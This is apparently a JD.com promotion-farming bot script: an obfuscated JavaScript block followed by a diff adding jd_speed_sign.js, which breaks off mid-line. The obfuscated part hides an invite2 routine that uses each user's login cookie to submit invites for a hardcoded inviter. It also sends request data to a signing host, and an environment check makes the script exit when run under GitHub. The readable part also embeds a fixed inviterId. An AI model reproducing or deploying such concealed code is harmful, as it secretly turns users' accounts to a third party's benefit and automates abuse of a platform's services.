_0x5e7cd5=_0x852802[_0x1526('‫202')](arguments[_0x1526('‫28')],0x0)&&_0x852802[_0x1526('‮1f6')](void 0x0,arguments[0x0])?arguments[0x0]:{},_0x1b44fe='';return Object[_0x1526('‮6')](_0x5e7cd5)[_0x1526('‮7')](function(_0x61215a){var _0x4e4f74=_0x5e7cd5[_0x61215a];_0x49a706[_0x1526('‮203')](null,_0x4e4f74)&&(_0x1b44fe+=_0x49a706[_0x1526('‫204')](_0x4e4f74,Object)||_0x49a706[_0x1526('‮205')](_0x4e4f74,Array)?''+(_0x49a706[_0x1526('‫206')]('',_0x1b44fe)?'':'&')+_0x61215a+'='+JSON[_0x1526('‫d')](_0x4e4f74):''+(_0x49a706[_0x1526('‮207')]('',_0x1b44fe)?'':'&')+_0x61215a+'='+_0x4e4f74);}),_0x1b44fe;}else{$[_0x1526('‮30')]=_0xa2a9d8[_0x1526('‮82')][_0x1526('‫96')][_0x1526('‮a6')][_0x1526('‫a7')];}}}else{if(message)$[_0x1526('‮23')]($[_0x1526('‮24')],'',_0x1526('‮36')+$[_0x1526('‮2d')]+$[_0x1526('‮30')]+'\x0a'+message);_0x852802[_0x1526('‮208')](_0x16018c);}}else{console[_0x1526('‫c')](_0x852802[_0x1526('‫209')]);}}else{res[_0x852802[_0x1526('‫20a')]]='H5';res[_0x852802[_0x1526('‫20b')]]=_0x852802[_0x1526('‫20c')];appId=_0x852802[_0x1526('‮20d')];}}}catch(_0x24c5be){$[_0x1526('‮22')](_0x24c5be);}finally{_0x852802[_0x1526('‮208')](_0x16018c);}});});}function safeGet(_0x135666){var _0x2bc267={'YbpOL':function(_0x2370e1,_0x5b57bd){return _0x2370e1==_0x5b57bd;},'AwRyA':_0x1526('‫57'),'bMbJR':function(_0x316df5,_0x51a394){return _0x316df5===_0x51a394;},'LasTv':_0x1526('‮20e'),'McfBw':_0x1526('‮20f'),'tTDFq':_0x1526('‮210')};try{if(_0x2bc267[_0x1526('‫211')](typeof JSON[_0x1526('‫3d')](_0x135666),_0x2bc267[_0x1526('‮212')])){if(_0x2bc267[_0x1526('‮213')](_0x2bc267[_0x1526('‫214')],_0x2bc267[_0x1526('‫214')])){return!![];}else{console[_0x1526('‫c')](e);console[_0x1526('‫c')](_0x1526('‫215'));return![];}}}catch(_0x757ac9){if(_0x2bc267[_0x1526('‮213')](_0x2bc267[_0x1526('‮216')],_0x2bc267[_0x1526('‮217')])){$[_0x1526('‮22')](_0x757ac9);}else{console[_0x1526('‫c')](_0x757ac9);console[_0x1526('‫c')](_0x1526('‫215'));return![];}}}function jsonParse(_0x129d35){var _0x129503={'IpRfj':function(_0x2cd02b,_0x500976){return _0x2cd02b==_0x500976;},'ldtBN':_0x1526('‮18'),'lQhSf':function(_0xd010a9,_0x5e4e8f){return _0xd010a9===_0x5e4e8f;},'uEeFM':_0x1526('‮218'),'lVfxH':_0x1526('‮19')};if(_0x129503[_0x1526('‫219')](typeof _0x129d35,_0x129503[_0x1526('‮21a')])){if(_0x129503[_0x1526('‮21b')](_0x129503[_0x1526('‫21c')],_0x129503[_0x1526('‫21c')])){try{return JSON[_0x1526('‫3d')](_0x129d35);}catch(_0x5e3dba){console[_0x1526('‫c')](_0x5e3dba);$[_0x1526('‮23')]($[_0x1526('‮24')],'',_0x129503[_0x1526('‫21d')]);return[];}}else{console[_0x1526('‫c')](_0x1526('‫152')+JSON[_0x1526('‫d')](data)+'\x0a');}}}function geth5st(_0x53bf59,_0x40a793){var _0x3d7c25={'kSOJC':function(_0x4f52b4,_0x4adb30){return _0x4f52b4!==_0x4adb30;},'pHsuz':_0x1526('‮c0'),'MzTGu':function(_0x898dbf,_0x2e4ae5){return _0x898dbf(_0x2e4ae5);},'snsvV':function(_0x39924d,_0x222982){return _0x39924d!==_0x222982;},'Hnrda':_0x1526('‮21e'),'YjRWL':_0x1526('‮21f'),'oAiFQ':_0x1526('‮220'),'VSmLi':_0x1526('‮221'),'unJlU':function(_0x3eb54b,_0x3a6b64){return _0x3eb54b===_0x3a6b64;},'ucGkT':_0x1526('‮222'),'AuwVb':_0x1526('‫223'),'FFYYX':_0x1526('‫224'),'RzzlC':function(_0x3b4de8,_0x1c977c){return _0x3b4de8!==_0x1c977c;},'rykuZ':_0x1526('‫225'),'hEZwQ':_0x1526('‫226'),'izMqI':_0x1526('‮227'),'LFDkw':function(_0x40eef3,_0x2624cc){return _0x40eef3*_0x2624cc;},'WLzgY':_0x1526('‫228'),'GtGWR':_0x1526('‮229'),'FYBZu':function(_0x8b6746,_0x1492c4){return _0x8b6746*_0x1492c4;}};return new Promise(async _0xb2788b=>{var _0x3afdfe={'IqLFc':function(_0x20d0eb,_0x5b06b7){return _0x3d7c25[_0x1526('‮22a')](_0x20d0eb,_0x5b06b7);},'SgLvY':function(_0x25838c,_0x4b5064){return _0x3d7c25[_0x1526('‫22b')](_0x25838c,_0x4b5064);},'RAdMi':_0x3d7c25[_0x1526('‫22c')],'Xqygi':_0x3d7c25[_0x1526('‮22d')],'Lofvc':_0x3d7c25[_0x1526('‫22e')],'pvfLv':_0x3d7c25[_0x1526('‮22f')],'njudN':function(_0x4daa21,_0x597601){return _0x3d7c25[_0x1526('‫230')](_0x4daa21,_0x597601);},'Pdwdh':_0x3d7c25[_0x1526('‫231')],'JHwyT':_0x3d7c25[_0x1526('‮232')]};let _0x2703c0={'appId':_0x53bf59,'body':_0x40a793};let _0x4aeda2='';let _0x21ef96=[_0x3d7c25[_0x1526('‫233')]];if(process[_0x1526('‫9')][_0x1526('‮7b')]){if(_0x3d7c25[_0x1526('‮234')](_0x3d7c25[_0x1526('‮235')],_0x3d7c25[_0x1526('‮235')])){if(_0x3d7c25[_0x1526('‫236')](_0x2703c0[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‮e0')],0x1)){message+='获得'+_0x2703c0[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‫e4')]+'\x0a';console[_0x1526('‫c')]('获得'+_0x2703c0[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‫e4')]);}else{console[_0x1526('‫c')](_0x3d7c25[_0x1526('‫237')]);}}else{_0x4aeda2=process[_0x1526('‫9')][_0x1526('‮7b')];}}else{if(_0x3d7c25[_0x1526('‮234')](_0x3d7c25[_0x1526('‫238')],_0x3d7c25[_0x1526('‫239')])){_0x4aeda2=_0x21ef96[Math[_0x1526('‮ac')](_0x3d7c25[_0x1526('‮23a')](Math[_0x1526('‮ae')](),_0x21ef96[_0x1526('‫28')]))];}else{console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](err));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}}let _0x23abe0={'url':_0x1526('‮23b'),'body':JSON[_0x1526('‫d')](_0x2703c0),'headers':{'Host':_0x4aeda2,'Content-Type':_0x3d7c25[_0x1526('‫23c')],'User-Agent':_0x3d7c25[_0x1526('‫23d')]},'timeout':_0x3d7c25[_0x1526('‮23e')](0x1e,0x3e8)};$[_0x1526('‮78')](_0x23abe0,(_0x388012,_0x34e235,_0x2703c0)=>{var _0x17b04f={'vKdnG':function(_0x199dd9,_0x478656){return _0x3afdfe[_0x1526('‮23f')](_0x199dd9,_0x478656);}};try{if(_0x3afdfe[_0x1526('‮240')](_0x3afdfe[_0x1526('‫241')],_0x3afdfe[_0x1526('‮242')])){if(_0x388012){if(_0x3afdfe[_0x1526('‮240')](_0x3afdfe[_0x1526('‫243')],_0x3afdfe[_0x1526('‮244')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x388012));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‮245'));}else{_0x17b04f[_0x1526('‫246')](_0xb2788b,_0x2703c0);}}else{}}else{console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x388012));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}}catch(_0x4fcdd8){if(_0x3afdfe[_0x1526('‫247')](_0x3afdfe[_0x1526('‮248')],_0x3afdfe[_0x1526('‫249')])){$[_0x1526('‮22')](_0x4fcdd8,_0x34e235);}else{$[_0x1526('‮22')](_0x4fcdd8,_0x34e235);}}finally{_0x3afdfe[_0x1526('‮23f')](_0xb2788b,_0x2703c0);}});});}async function getSign(_0x33b771='',_0x5d19b4={},_0xcf2ffc=![]){var _0x363bb8={'gINuO':function(_0x5dd2f8,_0x45af23){return _0x5dd2f8(_0x45af23);},'AFqDx':_0x1526('‮5a'),'KdWpL':_0x1526('‮5b'),'DVwjo':_0x1526('‫5c'),'aezmG':_0x1526('‫5d'),'euGiy':_0x1526('‫5e'),'FXfUa':_0x1526('‮5f'),'XUyDD':_0x1526('‮60'),'iVCEQ':_0x1526('‮61'),'pNpcI':_0x1526('‫62'),'pQvhq':_0x1526('‮63'),'igaFE':_0x1526('‮24a'),'uGlLl':function(_0xff0cf,_0x47957e){return _0xff0cf===_0x47957e;},'dRafX':_0x1526('‫59'),'TGxLn':_0x1526('‮24b'),'byBFZ':_0x1526('‮24c'),'aPlKv':_0x1526('‮1bf'),'djRXc':_0x1526('‮1c0'),'ksxwy':_0x1526('‮1c1'),'YQfMD':_0x1526('‫1c2'),'xrhEX':_0x1526('‮24d'),'blHvJ':function(_0xc82691,_0x112cb1){return _0xc82691(_0x112cb1);},'weZZQ':function(_0x4c6213,_0x5aa0f6,_0x374a51){return _0x4c6213(_0x5aa0f6,_0x374a51);},'CGpQl':function(_0x253a50,_0x4758db){return _0x253a50!==_0x4758db;},'NINLd':_0x1526('‫24e'),'jVOKa':function(_0x582790,_0x51093e){return _0x582790(_0x51093e);}};let _0x2831d7=_0x363bb8[_0x1526('‮24f')];let _0x14a197={'functionId':_0x33b771,'body':JSON[_0x1526('‫d')](_0x5d19b4),'t':Date[_0x1526('‫ec')](),'appid':$[_0x1526('‮190')]};if(_0x363bb8[_0x1526('‮250')](_0x33b771,_0x363bb8[_0x1526('‫251')])){if(_0x363bb8[_0x1526('‮250')](_0x363bb8[_0x1526('‫252')],_0x363bb8[_0x1526('‮253')])){$[_0x1526('‫c')]('','❌\x20'+$[_0x1526('‮24')]+_0x1526('‫41')+e+'!','');}else{_0x14a197[_0x363bb8[_0x1526('‫254')]]='H5';_0x14a197[_0x363bb8[_0x1526('‮255')]]=_0x363bb8[_0x1526('‫256')];_0x2831d7=_0x363bb8[_0x1526('‮257')];}}if(_0xcf2ffc){if(_0x363bb8[_0x1526('‮250')](_0x363bb8[_0x1526('‮258')],_0x363bb8[_0x1526('‮258')])){Object[_0x1526('‫259')](_0x14a197,{'h5st':_0x363bb8[_0x1526('‮25a')](encodeURIComponent,await _0x363bb8[_0x1526('‫25b')](geth5st,_0x2831d7,_0x14a197))});}else{return{'url':_0x1526('‮155'),'body':_0x1526('‫1a8')+function_id+_0x1526('‮e9')+_0x363bb8[_0x1526('‫25c')](encodeURIComponent,JSON[_0x1526('‫d')](_0x5d19b4))+_0x1526('‫eb')+ +new Date()+_0x1526('‫1aa'),'headers':{'Host':_0x363bb8[_0x1526('‮25d')],'Accept':_0x363bb8[_0x1526('‮25e')],'Content-Type':_0x363bb8[_0x1526('‮25f')],'Origin':_0x363bb8[_0x1526('‫260')],'Accept-Language':_0x363bb8[_0x1526('‫261')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x363bb8[_0x1526('‫25c')](require,_0x363bb8[_0x1526('‫262')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x363bb8[_0x1526('‫263')])?$[_0x1526('‫11')](_0x363bb8[_0x1526('‫263')]):_0x363bb8[_0x1526('‮264')],'Referer':_0x363bb8[_0x1526('‮265')],'Accept-Encoding':_0x363bb8[_0x1526('‫266')],'Cookie':cookie}};}}if(_0x363bb8[_0x1526('‮267')](_0x33b771,_0x363bb8[_0x1526('‫251')])){_0x14a197[_0x363bb8[_0x1526('‫268')]]=_0x363bb8[_0x1526('‫269')](encodeURIComponent,_0x14a197[_0x363bb8[_0x1526('‫268')]]);}return _0x363bb8[_0x1526('‫269')](objToStr2,_0x14a197);}function objToStr2(){var _0x3b743e={'uaPQa':_0x1526('‮1c'),'YwjZj':_0x1526('‫1d'),'UcIho':function(_0x5f4ba1,_0x50154e){return _0x5f4ba1!==_0x50154e;},'KSrDN':_0x1526('‮26a'),'aslHa':function(_0x31d1a9,_0x5656f5){return _0x31d1a9!=_0x5656f5;},'usAaP':function(_0x4521d3,_0x449369){return _0x4521d3 instanceof _0x449369;},'lyRdB':function(_0x5f55d4,_0x38efaa){return _0x5f55d4 instanceof _0x38efaa;},'HDywI':function(_0x48a4f0,_0x9f5561){return _0x48a4f0===_0x9f5561;},'bxUcG':function(_0x2cf12f,_0xce1492){return _0x2cf12f===_0xce1492;},'fmyNt':function(_0x41ba5f,_0x2d1273){return _0x41ba5f>_0x2d1273;},'spEyc':function(_0x82a7c2,_0x1cee60){return _0x82a7c2!==_0x1cee60;}};var _0xa16404=_0x3b743e[_0x1526('‮26b')](arguments[_0x1526('‫28')],0x0)&&_0x3b743e[_0x1526('‮26c')](void 0x0,arguments[0x0])?arguments[0x0]:{},_0x153ca3='';return Object[_0x1526('‮6')](_0xa16404)[_0x1526('‮7')](function(_0x54cb23){var _0x2e31d4={'UbkuN':_0x3b743e[_0x1526('‮26d')],'hjlON':_0x3b743e[_0x1526('‫26e')]};if(_0x3b743e[_0x1526('‮26f')](_0x3b743e[_0x1526('‮270')],_0x3b743e[_0x1526('‮270')])){$[_0x1526('‮23')]($[_0x1526('‮24')],_0x2e31d4[_0x1526('‮271')],_0x2e31d4[_0x1526('‫272')],{'open-url':_0x2e31d4[_0x1526('‫272')]});return;}else{var _0x2fa0bf=_0xa16404[_0x54cb23];_0x3b743e[_0x1526('‫273')](null,_0x2fa0bf)&&(_0x153ca3+=_0x3b743e[_0x1526('‮274')](_0x2fa0bf,Object)||_0x3b743e[_0x1526('‫275')](_0x2fa0bf,Array)?''+(_0x3b743e[_0x1526('‮276')]('',_0x153ca3)?'':'&')+_0x54cb23+'='+JSON[_0x1526('‫d')](_0x2fa0bf):''+(_0x3b743e[_0x1526('‮277')]('',_0x153ca3)?'':'&')+_0x54cb23+'='+_0x2fa0bf);}}),_0x153ca3;}function invite2(){var _0x3a3f43={'rMXPF':_0x1526('‮153'),'qpfNc':_0x1526('‮154'),'YNFAf':function(_0x18ca7c,_0x188b7e){return _0x18ca7c*_0x188b7e;},'rIDio':_0x1526('‮155'),'mdFTZ':_0x1526('‫156'),'wVHIx':function(_0x4c6982,_0x289012){return _0x4c6982(_0x289012);},'DNQpm':_0x1526('‮5a'),'KxCYH':_0x1526('‮5b'),'lEfog':_0x1526('‫5c'),'nKfTB':_0x1526('‮157'),'aIsYO':_0x1526('‫5e'),'RpMBi':_0x1526('‮5f'),'sNkDw':_0x1526('‮60'),'zUEVp':_0x1526('‮61'),'NxdHE':_0x1526('‮158'),'xJSbF':_0x1526('‮63')};$[_0x1526('‮190')]=_0x3a3f43[_0x1526('‫278')];const _0x445d48=[_0x3a3f43[_0x1526('‮279')]];let _0x401a57=_0x445d48[Math[_0x1526('‮ac')](_0x3a3f43[_0x1526('‮27a')](Math[_0x1526('‮ae')](),_0x445d48[_0x1526('‫28')]))];let _0x5cc465={'url':_0x3a3f43[_0x1526('‫27b')],'body':_0x1526('‮195')+JSON[_0x1526('‫d')]({'method':_0x3a3f43[_0x1526('‮27c')],'data':{'channel':'1','encryptionInviterPin':_0x3a3f43[_0x1526('‫27d')](encodeURIComponent,_0x401a57),'type':0x1}})+_0x1526('‮198')+Date[_0x1526('‫ec')](),'headers':{'Host':_0x3a3f43[_0x1526('‫27e')],'Accept':_0x3a3f43[_0x1526('‮27f')],'Content-Type':_0x3a3f43[_0x1526('‮280')],'Origin':_0x3a3f43[_0x1526('‮281')],'Accept-Language':_0x3a3f43[_0x1526('‫282')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x3a3f43[_0x1526('‫27d')](require,_0x3a3f43[_0x1526('‮283')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x3a3f43[_0x1526('‫284')])?$[_0x1526('‫11')](_0x3a3f43[_0x1526('‫284')]):_0x3a3f43[_0x1526('‫285')],'Referer':_0x3a3f43[_0x1526('‮286')],'Accept-Encoding':_0x3a3f43[_0x1526('‮287')],'Cookie':cookie}};$[_0x1526('‮78')](_0x5cc465,(_0x3966b6,_0x4b6b44,_0x1892ad)=>{});};_0xodf='jsjiami.com.v6'; +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed_sign.js b/jd_speed_sign.js new file mode 100644 index 0000000..e5649bd --- /dev/null +++ b/jd_speed_sign.js @@ -0,0 +1,814 @@ +/* +京东极速版签到+赚现金任务 +每日9毛左右,满3,10,50可兑换无门槛红包 +⚠️⚠️⚠️一个号需要运行40分钟左右 + +活动时间:长期 +活动入口:京东极速版app-现金签到 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版 +21 3,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "21 3,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js,tag=京东极速版 + +===============Surge================= +京东极速版 = type=cron,cronexp="21 3,8 * * *",wake-system=1,timeout=33600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js + +============小火箭========= +京东极速版 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, cronexpr="21 3,8 * * *", timeout=33600, enable=true +*/ +const $ = new Env('京东极速版'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; +let IPError = false; // 403 ip黑 +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdGlobal() + await $.wait(2*1000) + if (IPError){ + console.log(`403 黑IP了,请换个IP`); + break; + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobal() { + try { + await richManIndex() + + await wheelsHome() + await apTaskList() + await wheelsHome() + + // await signInit() + // await sign() + await invite() + await invite2() + $.score = 0 + $.total = 0 + await taskList() + await queryJoy() + // await signInit() + await cash() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function signInit() { + return new Promise(resolve => { + $.get(taskUrl('speedSignInit', { + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "kernelPlatform": "RN", + "inviterId":"U44jAghdpW58FKgfqPdotA==" + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function sign() { + return new Promise(resolve => { + $.get(taskUrl('speedSign', { + "kernelPlatform": "RN", + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "noWaitPrize": "false" + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if 